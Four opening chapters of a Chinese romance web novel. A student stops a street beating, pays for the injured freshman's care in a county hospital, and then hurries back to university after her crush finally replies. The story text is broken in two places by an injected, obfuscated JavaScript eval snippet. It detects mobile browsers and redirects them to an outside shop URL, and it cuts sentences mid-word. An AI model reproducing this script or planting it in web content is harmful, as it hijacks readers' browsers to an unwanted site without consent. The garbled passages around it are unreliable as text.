《买下清贫校草后》 1. 01 八月末的江城,火云如烧,闷热难当。 一条橙红色的江水穿城而过,在余晖的映照下,半江瑟瑟,层次分明。 近岸筑有深褐色的石堤。此刻,热风卷着浪尖拍在堤沿上,溅起阵阵金光,却也亮不过江堤之上炫目的KTV外墙。 透明的自动门徐徐打开,冷气漫溢而出。几个年轻女孩子相携着走出来,叽叽喳喳地聊着天。 缀在末尾的女孩垂着头,如瀑般乌黑的长发及腰,一条俏皮的细辫落在莹白圆润的肩头,看着十分纯美可爱。 旁边几人聊得火热,她却只盯着手机,不发一言。 “霏霏——” 走在队首的女孩子顿住脚步,不情不愿地回过头:“人家还没嗨够呢,不想回家。” “得了吧。”程霏霏收起手机,一侧眉梢轻抬,露出几分嫌弃,“你一个人唱了整个下午,我们几个全给你当陪衬了,还嫌不够?” “……让你这么一说,是有点不好意思。” 任可心揉了揉鼻头,眼珠子滴溜乱转:“要怪,只能怪你家的音响太好,我一不小心,就唱上了头!” 一行人很快溜达到街口。 任可心仍不死心,对着旁边的几个人疯狂邀约:“姐妹们,今天是不是挺来劲儿的?趁着开学前,咱们再聚一次吧!” 女孩子们笑得一言难尽,装作没听见,纷纷钻进了等候多时的出租车里。 任可心无所谓地耸了耸肩,转过身,望着队伍末尾、独自愣神的程霏霏。 心下无奈地叹了口气,她揶揄地调侃:“霏霏,我倾情献唱了三个小时,有没有让你开心一点?” 程霏霏垂着头,眼皮都没抬:“我不开心?” 任可心挑了挑眉,一副“这还用说”的表情。 “你开不开心,我闭上眼睛都能瞧得出来!说吧,是不是和那个李学长有关?” 心事被说中,程霏霏无话可说,舌尖顶了顶脸腮,剪水般的眸子心虚地一阵乱瞟。 任可心捧起她的脸颊:“程霏霏,天涯何处无芳草,何必独恋一棵朽木?” 程霏霏不服,一把拍开她的咸猪手:“是秀,木秀于林的秀!” 任可心瞥了一眼那几乎长在她手上、却一整天悄无声息的手机。 难怪大家都说,主动的总是有空,被偏爱的却永远在忙。 她懒得再多费口舌,指尖一勾,拨弄了一把程霏霏耳朵上的吊坠。 “新买的?” 程霏霏终于露出一丝笑意,嘚瑟地一扬眉,将头发撩起来,露出完整的耳饰。 白皙的耳垂上,悬着一整颗水滴状的钻石,成色清透,在夕阳下泛着金灿灿的光泽。 耳钉部位是一枚小巧的粉钻,粉钻的设计中和了水滴的贵气,透出几分少女的娇俏与活泼。 “罗女士送的,限量新款,怎么样?” 任可心捧场地竖起大拇指:“很顶,和我霏的颜值绝配!” 程霏霏弯了弯眼睛,对这个马屁很受用。 她招手拦下一辆出租车,打开车门,连推带搡地将话唠闺蜜塞了进去。 “麦霸大人,快回家歇歇嗓子吧,咱们开学见!” 隔着车窗,任可心依依不舍地同她挥手告别。 汽车扬长而去,一地尾气搅散了欢乐的气氛。空气很快冷寂下来,程霏霏收敛了唇边的笑容,重新划亮手机。 屏幕上干干净净的,什么也没有。 失落在心底无声蔓延。 她点开微信,置顶对话框里,“李泽昱”三个字安安静静地躺在那里。 最近一条信息是她昨晚上发过去的—— 【学长,最近好吗?快开学了,你回江城了吗?】 后面跟着一连串软萌萝莉的表情包。 “嗲兮兮的,他会喜欢吗?”程霏霏禁不住皱眉。 这些表情包都是从任可心那里搜罗来的,程霏霏嫌幼稚,自己从来不用。 可是,面对李泽昱的时候,莫名的就很想装乖。 她觉得,李泽昱那样温文尔雅、胸有丘壑的男人,大概率会喜欢乖巧又娴静的淑女。 程霏霏掏出小镜子,检查了一下聚会过后依旧无瑕的妆容,手指拨弄着簇新的耳坠。 这张脸已经乖巧娴静到不行,李泽昱没有理由不喜欢。 她“啪”的一声扣起镜子。 学长一定是因为什么别的原因,才没能及时回复她的微信! 想到李泽昱还没有回城,所剩不多的暑假余额一下子成了滋味全无的白开水。 程霏霏拖着百无聊赖的步伐往回走,KTV的冷气再次兜头而来。 还没将细微的汗意吹散,迎面便撞上一个穿着丝质黑衬衫的酷哥。 酷哥约莫二十五六岁,眉眼凌厉,自带一股桀骜不驯的气质。 看到她,肃然的眉间立即挂上了调侃的笑意:“是谁惹我们程大小姐不高兴了?” 程大小姐无精打采地拎起包包,沮丧地问:“你回家吗?捎我一程。” 程皓南点点头:“等着,我去跟琼姐说一声。” 他口中的琼姐,是这家KTV的老板娘罗美琼,程霏霏的亲妈。 程霏霏想到什么,眉心一蹙,抬手拍在脑门上:“差点忘了,今晚上我爸约吃饭!皓南哥,咱们得去趟杜溪。” * 时值周末,路况畅通。车子很快驶上绕城高速,一个小时后,到达江城周边的一个县级市,名唤杜溪。 杜溪沿江,往前十年,还是一个渔业为主的贫困县。 近几年,外地的水产品大量涌入本地市场,冲击了杜溪的捕捞业,传统支柱产业遭到了毁灭性的打击。 万幸的是,托了山明水秀的福,杜溪又搞起了旅游经济,渐渐经营成了小有名气的康养胜地。 两年前,程霏霏的爸爸程广材和她们娘俩儿分居后,就在杜溪置办了一套宅院,过起了闲云野鹤的退休日子。 宅子的周围还有一处天然池塘,长满了蓬勃的芦苇。 程广材便因地制宜,养起了家禽,鸡鸭鹅的喂了好几群,目的只为吃。 他还专门请了据说是五星级饭店的退休大厨,上门来掌勺。 程广材无聊的时候,便把程霏霏叫过来,招待她一起品评“山中野味”。 “什么野味,分明是家养。” 程霏霏靠在汽车后座上,望着窗外黑洞洞的山棱,很有同理心地想,她爸大概是又寂寞了。 自己整个暑假净顾着瞎玩,电话没少打,人却没有出现过一回,的确应该来亲爹跟前尽尽孝。 很快,车子下了高速,进入杜溪的老县城。 穿过县城往南,便是富饶的沿江新区,也就是程霏霏此行的目的地。 而靠近高速路口的城北一带,是以前渔村的地界,没沾到什么发展的红利,真真称得上一句破败不堪。 此刻,车子停在路边,程霏霏无聊地坐在车子里,盯着灰扑扑的街道发呆。 矮旧的店铺挤挤挨挨,杂乱的招牌横七竖八地支棱着,街道昏暗破旧,没有一丁点省会城市该有的样子。 程霏霏嫌弃地想,那家味道不错的糖藕店,怎么偏要开在这么个破烂地方? 手机上,程皓南发来微信:【再等一会,这锅马上做好。】 程霏霏噘了噘嘴,有点不高兴,不过还是选择耐着性子等下去。这家店的糖藕,罗美琼很喜欢。 翻了翻,手机上再无其他消息,被程霏霏丢到一旁。 屏幕的亮光映照着保养得宜的皮质座椅。车子没熄火,轻柔的冷气和惬意的轻音乐充斥着整个空间。 程霏霏嗅着精致的香氛味道,莫名觉得心烦,降下车窗,想要呼吸一口新鲜空气。 灼人的热浪瞬间扑面而至。 ……还是算了。 她刚要把窗户升上去,忽然听到旁边传来一阵沉闷的嘈杂声。 小城的傍晚,路上已经没什么人。城北这一带治安不好,游客不会过来,本地人也没几个愿意出门。 程霏霏算不上是好奇的性子,可今天本就心情不佳,又实在等得无聊,反正闲着也是闲着…… 她打开车门,循着那杂乱的声音,抬脚走了过去。 那声响听着近,实则离得挺远。 程霏霏沿着一条昏暗的巷子走了许久,才在小路的尽头,模模糊糊看到一群人。 准确地说,是四五个壮汉围着一个人。 墙头上,只一盏路灯孤单地亮着 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胖子却有些恼羞成怒,没等同伙看个分明,就将那纸鲜红的通知书一把抢了去,几下撕得粉碎。 “还上大学?想得美!” 他扬起满手的碎屑,任风将它们随意刮走。 “老子本来也能上大学的,要不是你那个死爹害得我家鸡犬不宁,老子会落榜?” 说着,又几脚猛踹了下去。 地上的人如同一具肉盾,纹丝不动。 程霏霏隐隐觉得,这样打下去,那个人可能会死在这儿。 这种场面对于一般小姑娘来说,早就吓得不知所措了,可程霏霏不是一般小姑娘。 她并不害怕,就是有点犹豫——自己还得赶回家吃晚饭呢,这桩闲事要管吗? 夜风忽起,将满地的纸屑吹得四散。其中一抹打着卷飞过来,停在程霏霏的脚边。 她下意识地捡了起来。 就在这时,地上那个看上去了无生气的人,忽然动了。 他的脸依旧朝下,肩背微微起伏了几息,嗓音沙哑,听着竟然像是在笑:“没他……你也考不上。” 那语气里的嘲讽,直接把程霏霏逗乐了。 惨到这个地步了,竟然还敢出言挖苦对方,这人是真不怕死啊? 果然,这句话立刻点燃了胖子的愤怒。 他咬牙切齿地原地转了几圈,在墙角拎起一块砖头,眼看就要往那人的后脑上招呼—— “等一下!” 这一声嚎得中气十足,把几位壮汉都吓得够呛。一回头,只见巷子里不知何时多了一个小姑娘。 姑娘长了一张莹白的小脸,五官十分清纯,长发披肩,盖住了两条细细的肩带。一身黑白细格的吊带裙配着亮黑色的皮鞋,在昏暗的巷子里熠熠生辉。 怎么看,都不像这种场合里会出现的人。 “你谁?”为首的胖子冷冷地质问。 “我谁也不是。”程霏霏笑得挺客气,指了指地上的人,“就是路过,碰巧看到你们在打人,过来凑个热闹。” 胖子皱眉:“凑什么热闹?你想跟他一样?” “大哥,有话好好说嘛,和气生财!”程霏霏露出好奇的表情,“你们为什么打他呀?是为人还是为钱?” “关你什么事!”胖子眼皮跳了跳,对手下使了个眼色,手下会意,立刻朝这边走过来。 “瞧我问的……”程霏霏讪笑着摆了摆手,“管它是为人还是为钱,都是能用钱解决的嘛!” 她低下头,开始在自己的小挎包里翻找。 找来找去,什么都没有。程霏霏眉头一皱,猛地想起,自己的手机还躺在车后座上呢。 这就尴尬了,装逼翻车现场么? 眼看着一位面色不善的大哥越走越近,程霏霏灵机一动,果断取下耳朵上的一只耳坠,举在身前。 水滴形的耳坠轻轻晃着,切割精细的钻石微微闪烁,在黯淡的光线下,依旧泛着柔润的亮泽。 “一只能卖这个数!” 程霏霏神秘兮兮地比了个数字,笑得像个谄媚的奸商:“几位大哥,愿不愿意给小妹一个说话的机会?” 2. 02 “什么意思?” 为首的胖子支棱着眉眼,有点搞不清楚当下的状况。 程霏霏指了指地上的人:“我想请几位大哥通融一回,放过他。” 胖子乐了:“小妞,知道他欠我多少钱吗?你这点儿,怕是不够。” “我知道不够,就先算个利息。” 程霏霏笑了笑,十分替胖子着想地说:“无论他欠你多少钱,你饶他一命,他才能活着赚钱还债啊。要是把他打死了,就什么都没了。” “而且——”她伸长脖子,仔细盯着几人的脸瞧,“几位大哥不是本地人吧?” 程霏霏抬起手,隔空指了指斜前的方向:“要不然,怎么连打人,都挑了个正对摄像头的地方呢?” 几个人一愣,震惊地回头,这才看清,角落的电线杆上真的挂了个探头一样的东西,被居民区的遮阳棚衬得不太明显,但的的确确是一只正在运行的监控。 胖子舔了舔后槽牙,恶狠狠地盯住地上的人——难怪这小子要往这个方向跑! 他刚想上前再给他一下,这时,巷子的另一端响起一道男声:“霏霏,你和谁在一起呢?” 几个人相互使了个眼色,旁边的大哥一把抢过程霏霏手里的耳坠,撒腿就跑。 程皓南提着刚做好的糖藕,一溜烟赶过来,震惊地望着前方:“那几个人是抢了你东西?我没看错吧?” 不待程霏霏应声,程皓南立刻掏出手机报警,嘴里念叨着:“真是吃了熊心豹子胆,敢抢我妹的东西!” 程霏霏也没解释,只是蹲下身,戳了戳地上的人。 “喂,你还活着吗?” 人趴在地上,毫无反应。 她试探着将手指伸到这人的鼻端,感到还有那么一丝薄弱的气息。 灼热的空气里,忽然飘来几丝水汽。程霏霏仰头望天,皱起了眉头。 那边,程皓南气愤地挂了电话,才注意到地上还有个人。 “呦,伤得这么重,得赶紧叫救护车。” “救护车怕是来不及。”程霏霏指了指阴云密布的天空,“哥,要下雨了。” 程皓南把糖藕塞进妹妹怀里,挽起袖子:“还是直接送医院吧。” 他蹲下身,小心地将人扶起。 程霏霏借着灯光仔细辨认,发现此人年纪不大,看着像是个学生。 那张录取通知书应该就是他本人的。 少年身量颀长,穿着简单的浅色T恤,在厮打中已经扯变了形。衣服上斑斑驳驳,被自己和别人的血染成大小不一的色块,糊在一起,触目惊心。 一张脸也已经鼻青脸肿,看不清模样。 程霏霏愣愣地盯着他头上一道清晰的伤口。 不知是被什么钝器打的,露出狰狞的血肉,动作之下,还不断有汩汩鲜血往外冒。 “别愣着,过来搭把手!” 程霏霏赶紧上前,不确定他身上还有没有别的伤,不敢伸手乱碰,只能勉强将人扶到程皓南的背上。 程皓南背起人,步伐如飞地往外走。 程霏霏则找到那只书包,将散落满地的杂物收拢起来,匆匆跟了上去。 车子一路往县医院疾驰。 车厢里甜甜的糖藕香气,很快被浓郁的血腥味覆盖。 程霏霏坐在副驾座位上,接受程皓南的盘问。 “刚才怎么不在车里等着,一个人跑去那种地方?” “是不是替人出头来着?” “你一个女孩子,怎么这么莽撞!万一遇到危险怎么办?那伙人连着你一起打怎么办?” 程霏霏听够了,不爽地转过头:“哥,你可是和陈浩南同名的人,怎么能这么怂!” “我怂?” 程皓南给她气笑了,表情一言难尽:“在这江城地界,敢说我程皓南怂的,你是头一个。” 程霏霏佯装失望地摇了摇头:“你不是我记忆中以一挑多的皓南哥了。” 程皓南混不吝地一笑,露出一口小白牙:“以前那是搞事业,又年轻,遇到的浑事儿也多。如今家里的生意发展成这样,你哥我怎么还能跟小混混一般见识?” “那几个都是混混吗?” “肯定啊。”程皓南一副极为看不上的样子,“给人打成这样,估计是收钱办事。听你的描述,应该是领头那胖子雇的人,来收拾后头躺着的这小子的。” 程霏霏回过头,看了一眼后座上的人。 少年的呼吸很安静,几乎难以察觉他的气息。头发被鲜血打湿,粘在看不清五官的脸颊上,遮住了眉眼。 路灯的光斑在糊满血渍的衣襟上掠过,影影绰绰地映在单薄的身躯上,令他整个人有种飘忽的脆弱感,仿佛下一秒就要化作蝴蝶乘风而去。 程霏霏发愁地想,这人还有气吗,可别死在路上啊。 这时候,积攒了整晚的积雨终于从天而降,噼里啪啦地砸在车顶上,节奏杂乱无章,却又带着莫名安定人心的力量。 对面车道上,硕大的远光灯圈一闪而过,将车里的一切照得煞白。 程霏霏条件反射地闭了闭眼。 炫目的光晕中,少年的眼睛睁开了一条缝,目光穿过杂乱的发丝,静静地落在她脸上。 * 手术室的灯光骤然亮起。 程霏霏吐出一口浊气,歪倒在等候区的椅子上,彻底卸了力。 好人好事真不好做! 她环顾四周,仔细观摩了一番这家县医院,看上去……好像还行? 这几年,江城市大兴周边区域开发,基础设施跟进得及时,县医院也建了新楼。甭管医术如何,起码,硬件看起来还算靠谱。 “咕噜——” 空空如也的肚子恰到好处地响了起来,在寂静的走廊上格外明显。 程霏霏苦笑了一下,眼睛瞟向医院墙上的时钟,嘴角一垮——都半夜了,她还没吃晚饭呢,难怪这么饿。 程皓南走了过来,拿着一手乱七八糟的单据,被他胡乱塞进了外套口袋。 一屁股坐进椅子里。 这大半夜的,又是扛人又是办手续的,水都没喝上一口。 转头看到程霏霏紧皱的眉头,程皓南拍了拍她的肩膀:“放心,医院会好好治的。” 程霏霏盯着明亮的手术灯,还是有些犹豫:“可是……” “警察已经到了,他们会联系这孩子的家人。手术要好几个小时呢,咱们留在这里也帮不上忙,该回去了。” 程霏霏点点头,随着程皓南站起身。 兄妹俩迈着疲惫的脚步离开了医院。 * 程广材在家中守着一桌煎炸蒸煮的鸡鸭鹅,一直枯坐到深夜,才把闺女盼来。 一见面就吓了一跳:“你俩身上这血是怎么回事?” 程霏霏这才注意到,身上的裙子不知何时也蹭到了那个少年的血。 来不及细说,两人一个钻进一楼的卧室,一个奔上二楼,洗漱换衣服去了。 程霏霏仔细洗了个热水澡,把每一根头发丝上的血气都搓干净,用最香的沐浴乳打了两遍,确保自己无一丝异味以后,才慢悠悠地从卫生间里出来。 对着镜子吹头发的时候,她突发奇想——也不知道有没有人给医院里那个重伤的病号清理一下。 他的家人应该会做的吧? 晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又指了指埋头吃饭的程皓南:“遇到事,让你哥上。” “记住了,谢谢爸!”程霏霏露出一个狗腿的笑,赶紧给亲爹的盘子里送上一枚大鹅蛋。 程广材笑眯眯地咂了一口杯中的黄酒,对着桌上的年轻人道:“我在生意场上起伏数十载,从一个简陋的小档口开始经营,摸爬滚打至今,各种危险的情况也是经历过不少……” 程霏霏知道,她爸又开始吹嘘自己的创业史了,立刻关闭五感,开始扒饭。 程广材是一个天生的生意人。 他初中毕业,没什么文化,最开始在体育公园旁边摆地摊,卖盗版录影带。 好在为人活泛,嘴巴利索,生意非常红火。赚了点小钱之后,立刻盘了店面,开始卖磁带,卖CD……一路随着华语流行音乐的发展,自个儿的事业也跟着高歌猛进。 如今,在江城市连开了数家KTV,自诩是江城“乐坛”的半壁江山。 两年前,忙于生意的程广材忽然查出了严重的身体问题,去国外动了个大手术。 回来之后,便决定激流勇退,养病为先,把事业交给罗美琼打理,自己跑到这山间“隐居”了起来。 程霏霏平时在江城上学,放假时才偶尔来一次。是以,程广材这些年大多是自己呆着,和一群家禽为伴。好不容易见到两个小辈,哪会轻易放他们回去。 说好的吃一顿饭,聊着聊着,就变成了小住几天。 暑假还剩不少日子,程霏霏觉得,多陪陪她爸也不错,便点头答应了。 3. 03 程霏霏做了一个梦。 梦里,天空漆黑一片,暗巷灯影幢幢,一个浑身是血的影子飘浮在半空中,嘶哑着嗓子质问她:“为什么要救我——” 吓得她浑身一凛,“唰”地睁开眼睛。 屋子里日光大盛,已经是第二天早晨。 程霏霏吁出一口长气,在被窝里翻了个身。 凌晨下了一场小雨,很快便转了晴。初升的阳光穿过云层,驱散了池塘上朦胧的雾气。 轻柔的蚕丝被裹在身上,舒服得她不想睁眼。 昨天睡得晚,窗帘也没拉。此刻,晨风卷着薄纱扫在原木色的地板上,发出“沙沙”的响声,像安眠的白噪音,一点唤人起床的力道也没有。 若不是楼下三不五时的传来程皓南的鹅叫,程霏霏是一定要睡个回笼觉的。 那穿耳的魔音令她忍无可忍,一把掀开被子,赤着脚来到窗边。 只见楼下的小院里,程皓南正被一群禽类生物堵在墙角。 他看上去走投无路,脸上的肌肉都在抽搐,平日里精心打理的发型也被吓成了中分,再没有丝毫“小程总”的倜傥霸气。 程霏霏无语地摇了摇头——看来,坊间那些关于她哥的传说,八成都是他自己杜撰了放出去的自吹自擂,不能尽信。 来到洗手台前,程霏霏仔细盯着镜子瞧了半晌,确定没有被噩梦吓出黑眼圈来,这才叼着牙刷,打开手机,调出心爱的曲子,开始洗漱。 悠扬的小提琴独奏曲响彻整个二楼。 “怎么又是这首。”程广材身着一身运动装,红光满面地从楼梯走上来,看着像是刚刚晨练完。 “听得你爸耳朵都起茧了,换一首不行?” “这首《雨停》可是我偶像——羽婷老师的代表作。”程霏霏刷着牙,口齿不清地反驳,“百听不厌!” * 早餐桌上,程皓南不停地打喷嚏,一口咬定自己是鸭毛过敏。 在程氏父女俩嫌弃的目光中,他终于获得特赦,吃完早饭,赶紧滚蛋。 急吼吼地扒拉了两口菜粥,程皓南忙不迭地开车跑路了。程霏霏看着他哥一溜烟消失的尾气,默默决定,以后再也不能仗着有程皓南在,就无所顾忌地到处惹事。 万一对方关门放鸭子,那胜利岂不是唾手可得? 饭后,程霏霏在院子里逛了两圈,又跟着她爸去湖上钓了一会儿鱼。 钓鱼的间隙,一朵暗云随风飘来,在水面上投下独特的光影。程霏霏拿出手机,借着芦苇荡的背景,随意捏了几张自拍。 天光给照片渡上了最好的滤镜。照片上的程霏霏目光清婉,贝齿微露,俨然是一位楚楚可人的小仙女。 她的好朋友任可心总是吐槽——程霏霏这个人,外表看着柔弱可欺,内心却住了个天不怕、地不怕的女老大。 女老大程霏霏对自己白月光一般的外形无甚意见。 毕竟,从小到大,这小白花一样的清纯样貌给她带来了无数便利,省去了太多麻烦。让人看一眼就心生怜惜,还有比这更厉害的社交法宝吗? 若不是如此,也不会认识李泽昱了。 程霏霏往别墅走,一边将拍好的几张照片发朋友圈。 一刷新,看到室友黎玥的新动态:【暑假告一段落,即刻返校。】 程霏霏唇角一弯,点了个赞。 随着开学的临近,越来越多的同学都陆陆续续返回江城。 也不知道李学长回来了没有。 程霏霏躺在沙发上,无聊地刷新着朋友圈。 新照片底下,大拨点赞和留言纷至沓来,可就是没有她心心念念的那个人。 摁灭屏幕,她从沙发里仰卧起坐。 还是找点事情填充一下自己的生活吧,免得一天到晚惦记着一个遥远的男人。 * 半小时后,程霏霏站在县人民医院的导医台前,揪着工作人员,帮她找一个病号。 她不清楚对方的姓名,说不出任何个人特征,甚至连这人住在哪个科的病房都搞不清楚。 工作人员:“……” 一筹莫展之际,旁边走过一个年轻医生,看到她,立刻就认了出来。 “我记得你,昨天半夜那个病人就是你和你哥哥送来的吧?” 程霏霏眼睛一亮。 “警方至今联系不到他的家属。”医生对程霏霏说:“你跟我来吧。” 程霏霏连忙抬脚跟上。 路上,她好奇地问医生:“那个……联系不上家属是什么意思?” “就是说,这孩子好像没有家属。” 医生无奈地叹了口气:“伤得不轻,头部有钝器伤,断了根肋骨,腹腔积血,手臂骨折,大面积软组织挫伤……得住院观察一段时间。” “……” 一边说着,一边七拐八拐地带着程霏霏来到外科病房。 这是个多人间,条件一般般,看起来乱糟糟的,已经住了不少人。 程霏霏跟着大夫走到最里面的一张床,拉开帘子。 床上的人依旧闭着眼,清浅地呼吸着。头上和身上密密麻麻地缠着绷带,看上去有些可怖。 “今早晨醒过来一次,大概体力不支,这会儿又睡了。” 医生俯身检查了一番,确定没有大问题,嘱咐了几句便离开了。 程霏霏拖过一张凳子,在病床前坐下。 床上的人一动不动,除了在呼吸以外,几乎没有任何活着的特征。 程霏霏凑过去,隔着满脸的纱布,只能勉强看清两丛浓密的睫毛,很长很黑,像两把小扇子。 他的眼睛应该长得不错。 程霏霏支着脑袋,有点忧愁。 竟然没有家属吗? “诶,你该不会是个孤儿吧?” 她顿了顿,从自己的挎包里取出一张纸片,放在手心里抚平。 “知道我为什么救你吗?” 程霏霏将那枚纸片摆在少年的床头。 “江城大学录取通知书——你竟然是我的学弟呀,而且,还是拓知的学生呢。” 拓知理科实验班是江城大学单独招生的院系,以高昂奖学金闻名,专门吸纳优质高分考生。 这些学生入学后先学习理科通识课,暂不细分专业,有自己独立的考核体系。待升入高年级后,再根据个人意向进行专业方向的发展。 这个家伙能进拓知,可见是个学霸。学霸怎么能折在混混手里呢?程霏霏不允许。 身为一枚高考超常发挥、文化课好不容易达到录取线的艺术生,程霏霏葆有一个学渣对学霸的基本尊重。 她遗憾地叹道:“撕得这么碎,其余的部分也找不到了。你只能跟学校说明一下,再给你补一张通知书了。” 床上的人显然没有听到她的自言自语。 “医生说,他们联系不到你的家人——你是没有家人吗?” 考了这么好的成绩,没有人分享喜悦的话,也会有点寂寞的吧? 这时候,隔壁床有客人来访,乌泱泱得进来了一大帮人。 程霏霏回过头,看到这群人个个笑容满面,捧着满满的果篮,对床上的病号连连嘘寒问暖,病房里顿时一阵热闹。 她扫了眼少年床头空空如也的柜子,又看了看床上昏迷不醒的人,忽然就有点怜爱。 伤得这么重,也没有人来看看他。 此时,少年已经换上了干净的病号服,可露出的手臂上依然残留着泛黄的血渍。显然,并没有人帮他清理过。 程霏霏代入了一下,颇为忧愁地想,这样不干不净地躺着,八成很难受。 她来到病房外的走廊上,和干活的护工阿姨聊了聊,打听了一下附近可以买东西的地方。 医院旁边有一家简陋的生活超市,程霏霏在里面逛了一圈,挑选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006501|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几样必备的生活用品。 超市门口竟然还卖鲜花,大大小小的混在一起,插在盛满了水的塑料桶里。她挑拣一番,勉强凑齐了一束康乃馨。 花虽普通,送病号却正好。 店里没有任何拿得出手的包装,程霏霏只好用塑料绳将鲜花们捆在一起。 等她提着一大包东西回到病房的时候,床上的人竟然醒了。 少年的目光原本在房间里漫无目的地巡睃,却在她进门的一瞬间,就牢牢定格。 程霏霏迎着那锐亮的目光走过去,将东西通通堆在床头柜上,惊喜地问:“你醒啦?” 少年眨了眨眼,以示回应。 程霏霏心想,她猜得没错,这双眼睛果然生得很好看。 不同于虚弱的身体,少年的目光清晰而有神。 眼尾的弧度非常漂亮,茶色的瞳仁如反光的琥珀,看过来的时候,就像一汪清澈的淙泉,荡漾着来人的倒影。 只可惜,他胸前插着管子,此刻还不能讲话。 “你的情况……呃,有点严重。” 程霏霏斟酌了一下,觉得还是不要给病号太多压力,于是宽慰道:“你别担心,医生说手术很成功,你很快就会好起来的,安心养病。” 少年的眸光转淡,露出一丝无所谓的漠然,仿佛在说:我知道,没关系。 程霏霏一愣,眉毛忍不住抖了抖:“我觉得你不知道。” 少年的目光扫了回来。 “当时的情况那么危险,一个不小心,你可能连命都会丢掉!” 回想起那血淋淋的场景,程霏霏的表情有些严肃:“而你竟然还在激怒打你的人,我很难不怀疑你就是故意的。” 少年的眸光停在她脸上,带着些微的惊讶和探究。 “你这样,会让关心你的人难过的!” 程霏霏说着,又想起了关于他家人的推测,顿觉这话有些伤人,赶紧止住了话头:“……总之,我救了你,就是你的救命恩人。你,你要懂得感恩,尽快把身体养好,才能报答我的恩情!” 少年意外地看着她,很久都没有挪开目光。 被这样漂亮的眼睛目不转睛地注视着,程霏霏有些脸热,赶紧移开眼神,装模作样地归置了一番刚买的东西。 很快,床头的柜子上就摆满了生活用品。 粉白色的康乃馨也从塑料捆绳里释放出来,插在一只宽口饮料瓶里,恣意地舒展着花冠。 她拿出新买的毛巾,去洗手间洗干净了,递给床上的人:“你要不……自己擦一下?” 擦是没法自己擦的,可少年目光沉静,似乎并不在意这满身黏腻。 “我倒是……可以帮你。” 程霏霏的眼珠心虚地乱转,义正辞严地强调:“先说好,我只是看不过去而已,没有任何占你便宜的意思。” 说着,也没管对方同意与否,掀起少年的病号服,小心翼翼地避开伤口,开始帮他擦拭身上的污迹。 “先将就一下,等你能动了,再自己收拾吧。” 仔仔细细地擦了二十分钟,程霏霏掌握着力道和角度,动作尽可能轻柔。 血迹褪去,露出少年白皙的肌肤和紧实的肌肉线条——他也没有看上去的那么瘦。 一遍下来,程霏霏的鼻尖上沁出了汗,忍不住腹诽,这活还真不好干。 洗毛巾的间隙,她看到走廊上拖地的护工阿姨,立刻上前问价,然后愉快地支付了一笔费用。 能花钱解决的问题,程大小姐从不犹豫。 临走之前,程霏霏从挎包里摸出一支口红,拿过那枚录取通知书的碎片,在背面写下一串电话号码。 “这是我的电话,你如果有任何需要,就让护工打给我。” 她看向床上的人:“清楚的话,就眨两下眼睛。” 少年的眼角弯了弯。 然后缓缓地,眨了两下。 4. 04 夕阳西下的时候,程霏霏揉着酸软的胳膊走出了医院大门。 手机上一堆未读信息,她挨个点开。 三人闺蜜群里,任可心刚刚发了一张自拍。 画面上,她举着麦克风,背景光扑朔迷离,明显就是在KTV的包厢里。 任可心身后,黎玥支着下巴,陷在沙发卡座中,臊眉搭眼地刷着手机。 任可心:【霏霏,黎玥陪我来唱K啦!】 程霏霏:【你昨天还没唱够?】 任可心:【那只是开嗓,小试牛刀而已,今天才是主菜!】 黎玥:【某个人来火车站接我,说是要给我接风,结果就是来KTV听她唱歌,这么明目张胆的欺诈谁来管管?】 说完还发了张自己行李的照片:一只箱子在KTV的包厢里孤独地立着,显得那么格格不入。 任可心:【三个果盘,我的诚意已经尽数体现!】 黎玥:【精神损失费也请结一下。】 两个人在群里唇枪舌剑,你来我往。程霏霏退出姐妹掰头,回到首页的时候,看到消失已久的李泽昱竟然给她回了一条微信。 【学妹,不好意思,之前跟导师在山中,手机信号不太好,我已回到学校,不必担心。】 程霏霏的心顿时雨过天晴,赶紧在医院门口拦下一辆出租车,欢喜地钻了进去。 “师傅,麻烦去江城!” * 在程霏霏的催促下,司机不敢耽搁分毫,风驰电掣一般地将她送回了位于江城市区的家。 她喜滋滋地冲进家门,抬脚将鞋子踢飞,然后直奔二楼自己的房间。 打开衣柜,拖出一只行李箱,二话不说,就开始打包。 夏末的百无聊赖消失殆尽,程霏霏精神抖擞,决定要立刻返校。 她把衣服囫囵堆进箱子里,又跑去房间的各个角落收拾零碎的小物件。 书桌的抽屉拉开,程霏霏一眼瞟到最中间的隔断里,放了一只墨灰色的钥匙皮扣。 仿佛心中的情绪按钮被按下,手上急躁的动作瞬间便慢了下来。 她小心翼翼地拿起那只皮扣,在手心里爱惜地摩挲了几番,眼神温柔。 皮扣有些年头了,因为经常把玩,边缘已经磨出了毛边,但仍能看得出精良的做工、柔和细润的皮质——是手工制作的牛皮钥匙扣,男款。 美中不足的是,皮带另一端挂着的金属环扣如今只剩下半截,看着像是被外力硬生生掰断的。 手指抚上去,可以摸到断口处镌刻着米粒大小的英文字母——Yu。 程霏霏将断掉的钥匙扣按在胸前,闭上眼,仿佛又回到了那个酷热的夏天。 可乐的气泡在耳边咕噜咕噜地炸开,风吹过,丝丝清凉钻进心底,安抚下所有焦灼和忐忑,让人一甜就是好几年。 眼前浮现出李泽昱带着笑意的双眼。 想到李学长,程霏霏的嘴角无声上扬,勾起一弯小巧清甜的弧度。 她不再耽搁,将钥匙扣小心翼翼地装进行李箱的侧兜,接着收拾剩下的东西。 箱子很快满载。 程霏霏撸起袖子,轻松提起半人高的行李箱。下楼梯的时候健步如飞,连个磕绊也不打。 箱子往出租车上一扔,直奔江城大学。 * 作为赫赫有名的全国重点高校,江城大学坐落于江城市的东侧。地势依山而建,傍湖听涛,已有百年历史。 